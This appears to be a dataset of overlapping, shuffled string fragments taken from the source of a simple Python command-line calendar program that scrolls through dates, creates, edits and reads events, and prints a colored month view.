"time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, ) else:",
"self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd}",
"import TypeVar, Tuple from benedict import benedict from Events import Event from CalendarErrors",
"except MainError: continue def scroll(self, usr_input: str): \"\"\" parse scroll commands from the",
"cmd == self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif cmd in self.SCROLLING:",
"year enter : {BACKWARD}{YEAR} To scroll to a date enter : {SCROLL} <date",
"cmd == self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING) elif cmd == self.ALL:",
"{} return daily_events def add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds an event",
": { day(str) : { name(str) : (Event) } } } } \"\"\"",
"empty dicts and subdicts Believe it or not this works. Checkout the Calendar",
"Event, old_date: DateTypes, old_name: str): \"\"\" Checks event after it's been modified and",
"message to be beautified txt : string indicating color of text bg :",
"updated indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name)",
"usr_input : string input by the user. Should be led by a valid",
"-> Event: \"\"\" Gets an event from a name and a date Args:",
"day of the week the month started on first_day = date(self.today.year, self.today.month, 1).weekday()",
"2: \"February\", 3: \"March\", 4: \"April\", 5: \"May\", 6: \"June\", 7: \"July\", 8:",
"old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] =",
"EVENT = \"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS = { 1:",
"input(self.get_event(calendar_date, name)) else: input(\"The event you described does not exist. Back to main",
"import BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a",
"to hold info on all events in our calendar \"\"\" WEEKDAYS = [\"Mo\",",
"input(f\"What is the name of the event to be {Calendar.VERB[cmd]}\") if cmd ==",
"calendar_date and returns them Args: calendar_date : date or datetime object where we're",
"daily_events def add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds an event to the",
"else: days += 1 entry = f\"{days:2} \" if days in monthly_events and",
"self.events = benedict() self.today = date.today() def command_loop(self): \"\"\" Main loop of the",
"calendar_date: DateTypes, name: str) -> Event: \"\"\" Gets an event from a name",
"= user_input[0].upper() except IndexError: continue try: if cmd == self.QUIT: break elif cmd",
": string indicating color of text bg : string indicating color of background",
"for ignore in ignores: user_input = user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except",
"returns them Args: calendar_date : date or datetime object where we're looking for",
"for year, months in self.events.items(): prnt += f\"\\t{year} : \" + \"{\\n\" for",
"# if lowest level item is an empty dict, pop this from the",
"for the event : \") else: break description = input(\"Give us a brief",
"input(command_ms) for ignore in ignores: user_input = user_input.replace(ignore, \"\") try: cmd = user_input[0].upper()",
": name of the event: Returns: The event found. Or None if none",
"\"\"\" Main loop of the calendar. Prompts the user to input commands to",
"led by a valid scroll based command \"\"\" cmd = usr_input[0] if len(usr_input)",
"self.today.day: entry = color_entry(entry, txt=\"green\") if days == self.today.day and days not in",
"else: input(self.get_event(calendar_date, name)) else: input(\"The event you described does not exist. Back to",
"daily_events = {} return daily_events def add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds",
"of the calendar. Prompts the user to input commands to modify the calendar",
"user. Should be led by a valid event based command \"\"\" cmd =",
"if days == self.today.day and days in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\")",
") def print_calendar(self): \"\"\" Prints a calendar to the terminal or command for",
"to be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date,",
"10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 + 10}\",",
"f\"{days:2} \" if days in monthly_events and not days == self.today.day: entry =",
"input again except MainError: continue def scroll(self, usr_input: str): \"\"\" parse scroll commands",
"\"\"\" command_ms = \"Welcome to the calendar, what would you like to do?",
"self.today.day and days in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if days >",
"\"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\":",
"should be \"popped\" (cleaned up) pop_this = True for key, sub_dict in list(nested_dict.items()):",
"if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd",
"with updated indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date,",
"\"{\\n\" for day, names in days.items(): prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\"",
"name: str) -> Event: \"\"\" Gets an event from a name and a",
"} } } } \"\"\" self.events = benedict() self.today = date.today() def command_loop(self):",
"except KeyError: daily_events = {} return daily_events def add_event(self, calendar_date: DateTypes, name: str):",
"Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\" READ = \"R\" EVENTS =",
"whether this dict/sub_dict should be \"popped\" (cleaned up) pop_this = True for key,",
"= None if usr_args is None: calendar_date = prompt_user_date(\"Lets get a date for",
"str = \"normal\", bg: str = \"normal\") -> str: \"\"\" turns message into",
"event : {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() != \"N\" if not overwrite:",
"# Move forward of backward if cmd == self.FORWARD: sgn = 1 else:",
"SCROLLING + EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH =",
"names dict. Structure: self.events = { year(str) : { month(str) : { day(str)",
"\"\"\" Calendar class to hold info on all events in our calendar \"\"\"",
"= [] cal_string = \"\" # Print month and year cal_string += color_entry(",
"calendar_date : date of the event name : name of the event: Returns:",
"menu \") def update_event(self, modified_event: Event, old_date: DateTypes, old_name: str): \"\"\" Checks event",
"based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args = usr_input[1:]",
": date to be used for indexing name : optional. Tacked on to",
"bg=\"red\") if days == self.today.day and days in monthly_events: entry = color_entry(entry, txt=\"green\",",
"EVENTS = [NEW, MODIFY, READ] VERB = { NEW: \"Made\", MODIFY: \"Modified\", READ:",
"name for the event : \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0])",
"in yyyy/mm/dd format> - <name> To print all events enter : {ALL} (To",
"to the dict with updated indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name)",
"an event to the calendar Args: calendar_date : date of the new event",
"* make, read, and modify events on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\",",
"= parse_user_date(usr_args[0]) if len(usr_args) >= 2: name = usr_args[1] else: name = input(f\"What",
"version of itself Args: message : message to be beautified txt : string",
"= \"D\" MONTH = \"M\" YEAR = \"Y\" EVENT = \"E\" INDICATORS =",
"not overwrite: name = input(f\"Please enter a new name for the event :",
"event enter : {NEW} <date in yyyy/mm/dd format> - <name> To modify an",
"{ year(str) : { month(str) : { day(str) : { name(str) : (Event)",
"while True: self.print_calendar() user_input = input(command_ms) for ignore in ignores: user_input = user_input.replace(ignore,",
"Events import Event from CalendarErrors import BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date,",
"in monthly_events: entry = color_entry(entry, bg=\"red\") if days == self.today.day and days in",
"scroll to the next day enter : {FORWARD}{DAY} TO scroll to the previous",
"self.BACKWARD: # Move forward of backward if cmd == self.FORWARD: sgn = 1",
"occur on calendar_date and returns them Args: calendar_date : date or datetime object",
"name = usr_args[1] else: name = input(f\"What is the name of the event",
"print_all_events(self): prnt = \"{\\n\" for year, months in self.events.items(): prnt += f\"\\t{year} :",
"if usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY:",
"Returns: daily events : dictionary of events occurring on that day, empty dict",
"self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a valid command, please input a valid",
"DateTypes, name: str): \"\"\" Adds an event to the calendar Args: calendar_date :",
"a valid event based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1:",
"to return if included Returns: year (int), month (int), day (int), name (str)",
"enter : {BACKWARD}{MONTH} To scroll to the next year enter : {FORWARD}{YEAR} To",
"if not isinstance(nested_dict, dict): return False # if lowest level item is an",
"+= f\"{day} \" cal_string += \"\\n\" days = 0 while days < num_days:",
"Calendar testing ipython notebook. \"\"\" # if lowest level item is not an",
"self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif",
"a valid command, please input a valid command\\ {self.MENU_STRING}\") # MainError is just",
"= input(f\"Please enter a new name for the event : \") else: break",
"elif cmd == self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif cmd in",
"self.eventing(user_input) else: input(f\"{cmd} is not a valid command, please input a valid command\\",
"entry = f\"{days:2} \" if days in monthly_events and not days == self.today.day:",
"and subdicts Believe it or not this works. Checkout the Calendar testing ipython",
"str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str) -> Event: \"\"\" Gets an event",
"input a valid command\\ {self.MENU_STRING}\") # MainError is just an indicator that user",
"description, prompt_user_time(\"What time do you want to set?\") ) def print_calendar(self): \"\"\" Prints",
"would you like to do? \\n\" command_ms += \"(Q to quit, H for",
"Returns: The event found. Or None if none are found \"\"\" try: ev",
"event from a name and a date Args: calendar_date : date of the",
"MODIFY, READ] VERB = { NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" } #",
"dicts and subdicts Believe it or not this works. Checkout the Calendar testing",
"self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\")",
"TO scroll to the previous day enter : {BACKWARD}{DAY} To scroll to the",
"\"\\n\"] while True: self.print_calendar() user_input = input(command_ms) for ignore in ignores: user_input =",
"days == self.today.day: entry = color_entry(entry, txt=\"green\") if days == self.today.day and days",
"the previous year enter : {BACKWARD}{YEAR} To scroll to a date enter :",
"color of background Returns: beautified message \"\"\" txt_colors = { \"black\": \"30\", \"red\":",
"overwrite = overwrite.upper() != \"N\" if not overwrite: name = input(f\"Please enter a",
"(y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date,",
"MONTHS = { 1: \"January\", 2: \"February\", 3: \"March\", 4: \"April\", 5: \"May\",",
"import monthrange import os from typing import TypeVar, Tuple from benedict import benedict",
"Dict from datetime import date, datetime from calendar import monthrange import os from",
"= color_entry(entry, txt=\"green\") if days == self.today.day and days not in monthly_events: entry",
"\"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 } bg_colors",
"default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\" parse event",
"= \"Y\" EVENT = \"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS =",
"= \"H\" ALL = \"A\" UTIL = [QUIT, HELP, ALL] COMMANDS = SCROLLING",
"not this works. Checkout the Calendar testing ipython notebook. \"\"\" # if lowest",
"f\"{36 + 10}\", \"white\": f\"{30 + 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls')",
"just an indicator that user wants to try and input again except MainError:",
"9: \"September\", 10: \"October\", 11: \"November\", 12: \"December\" } MENU_STRING = f\"\"\" Here's",
"name : name of the event: Returns: The event found. Or None if",
"None if usr_args is None: calendar_date = prompt_user_date(\"Lets get a date for the",
"date Args: calendar_date : date of the event name : name of the",
"f\"\\t\\t\\t{day} : \" + \"{\\n\" for name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\",",
"or command for the month which contains day. \"\"\" def color_entry(message: str, txt:",
"bg : string indicating color of background Returns: beautified message \"\"\" txt_colors =",
"of backward if cmd == self.FORWARD: sgn = 1 else: sgn = -1",
"nested dictionary with dates as keys, lastly with a names dict. Structure: self.events",
"CalendarErrors import BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print",
"up) pop_this = True for key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if",
"= [NEW, MODIFY, READ] VERB = { NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\"",
"calendar_date : date or datetime object where we're looking for events Returns: daily",
"string input by the user. Should be led by a valid event based",
"\"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS = { 1: \"January\", 2:",
"txt : string indicating color of text bg : string indicating color of",
"in month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events =",
"Stores events as a nested dictionary with dates as keys, lastly with a",
"contains day. \"\"\" def color_entry(message: str, txt: str = \"normal\", bg: str =",
"the calendar Args: calendar_date : date of the new event name : name",
"entry cal_string += \"\\n\" print(cal_string) if __name__ == '__main__': cal = Calendar() cal.command_loop()",
"name = input(\"Give us a name for the event : \") else: usr_args",
"a valid command\\ {self.MENU_STRING}\") # MainError is just an indicator that user wants",
"usr_args is not None: usr_ind = usr_args[0].upper() else: usr_ind = usr_args if usr_ind",
"user and make the correct call to print_calendar() Args: usr_input : string input",
"by the user. Should be led by a valid scroll based command \"\"\"",
"command_ms += \"(Q to quit, H for help) : \" ignores = [\"",
"\") else: break description = input(\"Give us a brief description of the event",
"and clean up recursively if nested_dict == {}: return True # indicates whether",
"== self.FORWARD: sgn = 1 else: sgn = -1 if usr_args is not",
"self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or cmd",
"\" if days in monthly_events and not days == self.today.day: entry = color_entry(entry,",
"to input commands to modify the calendar or scroll around in time \"\"\"",
"that user wants to try and input again except MainError: continue def scroll(self,",
"+= \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod",
"modify the calendar or scroll around in time \"\"\" command_ms = \"Welcome to",
"modify an event enter : {MODIFY} <date in yyyy/mm/dd format> - <name> To",
"> 1: usr_args = usr_input[1:] else: usr_args = None if cmd == self.SCROLL:",
"str = None): \"\"\" Args: calendar_date : date to be used for indexing",
"= f\"{days:2} \" if days in monthly_events and not days == self.today.day: entry",
"year, months in self.events.items(): prnt += f\"\\t{year} : \" + \"{\\n\" for month,",
"{ 1: \"January\", 2: \"February\", 3: \"March\", 4: \"April\", 5: \"May\", 6: \"June\",",
"indicator that user wants to try and input again except MainError: continue def",
"<name> To read an event enter : {READ} <date in yyyy/mm/dd format> -",
"valid event based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args",
"found. Or None if none are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)]",
"colorful version of itself Args: message : message to be beautified txt :",
"def command_loop(self): \"\"\" Main loop of the calendar. Prompts the user to input",
"a brief description of the event : \\n\") if input(\"Do you wish to",
"self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by month is default",
"== self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY: self.today =",
"text bg : string indicating color of background Returns: beautified message \"\"\" txt_colors",
"# Print the days of the week for day in self.WEEKDAYS: cal_string +=",
"{FORWARD}{DAY} TO scroll to the previous day enter : {BACKWARD}{DAY} To scroll to",
"beautified message \"\"\" txt_colors = { \"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\":",
"repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt +=",
"if new_ev != old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event,",
"usr_args = None if usr_args is None: calendar_date = prompt_user_date(\"Lets get a date",
"self.MODIFY or cmd == self.READ: if name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY:",
"Print month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) #",
"# utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\" ALL = \"A\" UTIL",
": { name(str) : (Event) } } } } \"\"\" self.events = benedict()",
"to print_calendar() Args: usr_input : string input by the user. Should be led",
"indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\" YEAR = \"Y\" EVENT =",
"break elif cmd == self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif cmd",
"else: usr_args = None if usr_args is None: calendar_date = prompt_user_date(\"Lets get a",
"event commands from the user and edit self.events dict Args: usr_input : string",
"command\\ {self.MENU_STRING}\") # MainError is just an indicator that user wants to try",
"\"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return daily_events def",
"== self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events()",
"sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that return",
"name)] = Event( calendar_date, name, description, prompt_user_time(\"What time do you want to set?\")",
"name)}\\n\" ) overwrite = overwrite.upper() != \"N\" if not overwrite: name = input(f\"Please",
": {self.today.year}\\n\", txt=\"cyan\" ) # Print the days of the week for day",
"for help) : \" ignores = [\" \", \"\\n\"] while True: self.print_calendar() user_input",
"and rewrites it to the dict with updated indeces \"\"\" input(\"Hello There\") new_ev",
"Args: message : message to be beautified txt : string indicating color of",
"else: usr_args = None if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today =",
"looking for events Returns: daily events : dictionary of events occurring on that",
"is the name of the event to be {Calendar.VERB[cmd]}\") if cmd == self.NEW:",
"} \"\"\" self.events = benedict() self.today = date.today() def command_loop(self): \"\"\" Main loop",
"previous year enter : {BACKWARD}{YEAR} To scroll to a date enter : {SCROLL}",
"user_input[0].upper() except IndexError: continue try: if cmd == self.QUIT: break elif cmd ==",
"{}: return True # indicates whether this dict/sub_dict should be \"popped\" (cleaned up)",
"ignores: user_input = user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except IndexError: continue try:",
"python3 from typing import List, Dict from datetime import date, datetime from calendar",
"pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\" Args:",
"\"November\", 12: \"December\" } MENU_STRING = f\"\"\" Here's how to use the calendar!",
"num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for",
"Press enter) \"\"\" def __init__(self): \"\"\" Constructor for the Calendar Stores events as",
"of events occurring on that day, empty dict if there are none \"\"\"",
"days == 0 and i < first_day: entry = \" \" else: days",
": string indicating color of background Returns: beautified message \"\"\" txt_colors = {",
"= date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn)",
"self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date elif cmd == self.FORWARD or cmd",
"\"M\" YEAR = \"Y\" EVENT = \"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT]",
"mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The",
"optional. Tacked on to return if included Returns: year (int), month (int), day",
"\"December\" } MENU_STRING = f\"\"\" Here's how to use the calendar! To scroll",
"# Scroll by month is default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self,",
"continue Press enter) \"\"\" def __init__(self): \"\"\" Constructor for the Calendar Stores events",
"= input(f\"What is the name of the event to be {Calendar.VERB[cmd]}\") if cmd",
"from typing import List, Dict from datetime import date, datetime from calendar import",
"is not an empty dict, don't pop this, or parents if not isinstance(nested_dict,",
"= \"normal\", bg: str = \"normal\") -> str: \"\"\" turns message into a",
"else: sgn = -1 if usr_args is not None: usr_ind = usr_args[0].upper() else:",
"= \"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS = { 1: \"January\",",
"self.WEEKDAYS: cal_string += f\"{day} \" cal_string += \"\\n\" days = 0 while days",
"= \"F\" BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event ----------------------------------------------------------------------------------------",
"None: calendar_date = prompt_user_date(\"Lets get a date for the event\") name = input(\"Give",
"usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2: name = usr_args[1] else: name",
"you wish to overwrite it? (Y/n) : \" f\"Other event : {self.get_event(calendar_date, name)}\\n\"",
"prompt_user_date(\"Lets get a date for the event\") name = input(\"Give us a name",
"\") else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2: name",
"of the week for day in self.WEEKDAYS: cal_string += f\"{day} \" cal_string +=",
"days.items(): prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\" for name, ev in names.items():",
"in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt",
"\"popped\" (cleaned up) pop_this = True for key, sub_dict in list(nested_dict.items()): pop_that =",
"of the new event name : name of that event \"\"\" while name",
"f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\",",
"= [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================ #",
"some number of possible commands to: * scroll from month to month *",
"to the terminal/console output and prompt the user to input some number of",
"read an event enter : {READ} <date in yyyy/mm/dd format> - <name> To",
"#!/usr/bin/env python3 from typing import List, Dict from datetime import date, datetime from",
"pop this from the parent and clean up recursively if nested_dict == {}:",
"backward if cmd == self.FORWARD: sgn = 1 else: sgn = -1 if",
"color_entry(entry, bg=\"red\") if days == self.today.day and days in monthly_events: entry = color_entry(entry,",
"== self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by month is",
"use the calendar! To scroll to the next day enter : {FORWARD}{DAY} TO",
"name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt +=",
"key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that",
"is named {name} on that date. Do you wish to overwrite it? (Y/n)",
"from datetime import date, datetime from calendar import monthrange import os from typing",
"enter : {FORWARD}{DAY} TO scroll to the previous day enter : {BACKWARD}{DAY} To",
"# Find which day of the week the month started on first_day =",
"1).weekday() # Find number of days in month num_days = monthrange(self.today.year, self.today.month)[1] try:",
"self.today.day+sgn) else: # Scroll by month is default self.today = date(self.today.year, self.today.month+sgn, self.today.day)",
"that date. Do you wish to overwrite it? (Y/n) : \" f\"Other event",
"an empty dict, pop this from the parent and clean up recursively if",
"\"R\" EVENTS = [NEW, MODIFY, READ] VERB = { NEW: \"Made\", MODIFY: \"Modified\",",
"\"N\" MODIFY = \"C\" READ = \"R\" EVENTS = [NEW, MODIFY, READ] VERB",
"from Events import Event from CalendarErrors import BreakoutError, MainError from Prompt import prompt_user_date,",
"---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\" READ = \"R\" EVENTS = [NEW,",
"input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or cmd == self.READ:",
"= Event( calendar_date, name, description, prompt_user_time(\"What time do you want to set?\") )",
"testing ipython notebook. \"\"\" # if lowest level item is not an empty",
"turns message into a colorful version of itself Args: message : message to",
"to month * make, read, and modify events on certain days \"\"\" DateTypes",
"dict, don't pop this, or parents if not isinstance(nested_dict, dict): return False #",
"HELP, ALL] COMMANDS = SCROLLING + EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY",
"\\n\" command_ms += \"(Q to quit, H for help) : \" ignores =",
"@staticmethod def ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\" Args: calendar_date : date",
"str(self.today.month)].keys()) monthly_events = [int(dy) for dy in monthly_events] except KeyError: monthly_events = []",
"date(self.today.year, self.today.month, 1).weekday() # Find number of days in month num_days = monthrange(self.today.year,",
"string input by the user. Should be led by a valid scroll based",
"the event: Returns: The event found. Or None if none are found \"\"\"",
"= \"normal\") -> str: \"\"\" turns message into a colorful version of itself",
"to the previous year enter : {BACKWARD}{YEAR} To scroll to a date enter",
"it or not this works. Checkout the Calendar testing ipython notebook. \"\"\" #",
"for events Returns: daily events : dictionary of events occurring on that day,",
"\"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of the week",
"the Calendar Stores events as a nested dictionary with dates as keys, lastly",
"\"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def",
"f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of the week the month started on",
"event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event you described does not",
"{Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\") if",
"KeyError: monthly_events = [] cal_string = \"\" # Print month and year cal_string",
"old_date: DateTypes, old_name: str): \"\"\" Checks event after it's been modified and rewrites",
"Here's how to use the calendar! To scroll to the next day enter",
"nested_dict to remove empty dicts and subdicts Believe it or not this works.",
"txt=\"green\", bg=\"red\") if days > num_days: entry = \" \" cal_string += entry",
"\"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 }",
"\"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1",
"< num_days: for i, day in enumerate(self.WEEKDAYS): if days == 0 and i",
"= -1 if usr_args is not None: usr_ind = usr_args[0].upper() else: usr_ind =",
"str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name:",
"EVENT] MONTHS = { 1: \"January\", 2: \"February\", 3: \"March\", 4: \"April\", 5:",
"\", \"\\n\"] while True: self.print_calendar() user_input = input(command_ms) for ignore in ignores: user_input",
"all events in our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\",",
"is not a valid command, please input a valid command\\ {self.MENU_STRING}\") # MainError",
"if none are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev",
"{SCROLL} <date in yyyy/mm/dd format> To create an event enter : {NEW} <date",
"parse_user_date(usr_args) self.today = calendar_date elif cmd == self.FORWARD or cmd == self.BACKWARD: #",
"1 else: sgn = -1 if usr_args is not None: usr_ind = usr_args[0].upper()",
"{ month(str) : { day(str) : { name(str) : (Event) } } }",
"to the previous month enter : {BACKWARD}{MONTH} To scroll to the next year",
"+ UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\" YEAR =",
"number of days in month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year),",
"self.today.day) def eventing(self, usr_input: str): \"\"\" parse event commands from the user and",
"True for key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this",
"events occurring on that day, empty dict if there are none \"\"\" try:",
"on that day, empty dict if there are none \"\"\" try: daily_events =",
"(int), month (int), day (int), name (str) \"\"\" if name is not None:",
"(int), day (int), name (str) \"\"\" if name is not None: return str(calendar_date.year),",
"after it's been modified and rewrites it to the dict with updated indeces",
"cmd == self.MODIFY or cmd == self.READ: if name in self.find_events(calendar_date).keys(): if cmd",
"date. Do you wish to overwrite it? (Y/n) : \" f\"Other event :",
"import os from typing import TypeVar, Tuple from benedict import benedict from Events",
"= monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy",
"f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\"",
"txt_colors = { \"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\",",
"* scroll from month to month * make, read, and modify events on",
"def __init__(self): \"\"\" Constructor for the Calendar Stores events as a nested dictionary",
"\"July\", 8: \"August\", 9: \"September\", 10: \"October\", 11: \"November\", 12: \"December\" } MENU_STRING",
"in ignores: user_input = user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except IndexError: continue",
"{MODIFY} <date in yyyy/mm/dd format> - <name> To read an event enter :",
"str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str)",
"if days == 0 and i < first_day: entry = \" \" else:",
"def eventing(self, usr_input: str): \"\"\" parse event commands from the user and edit",
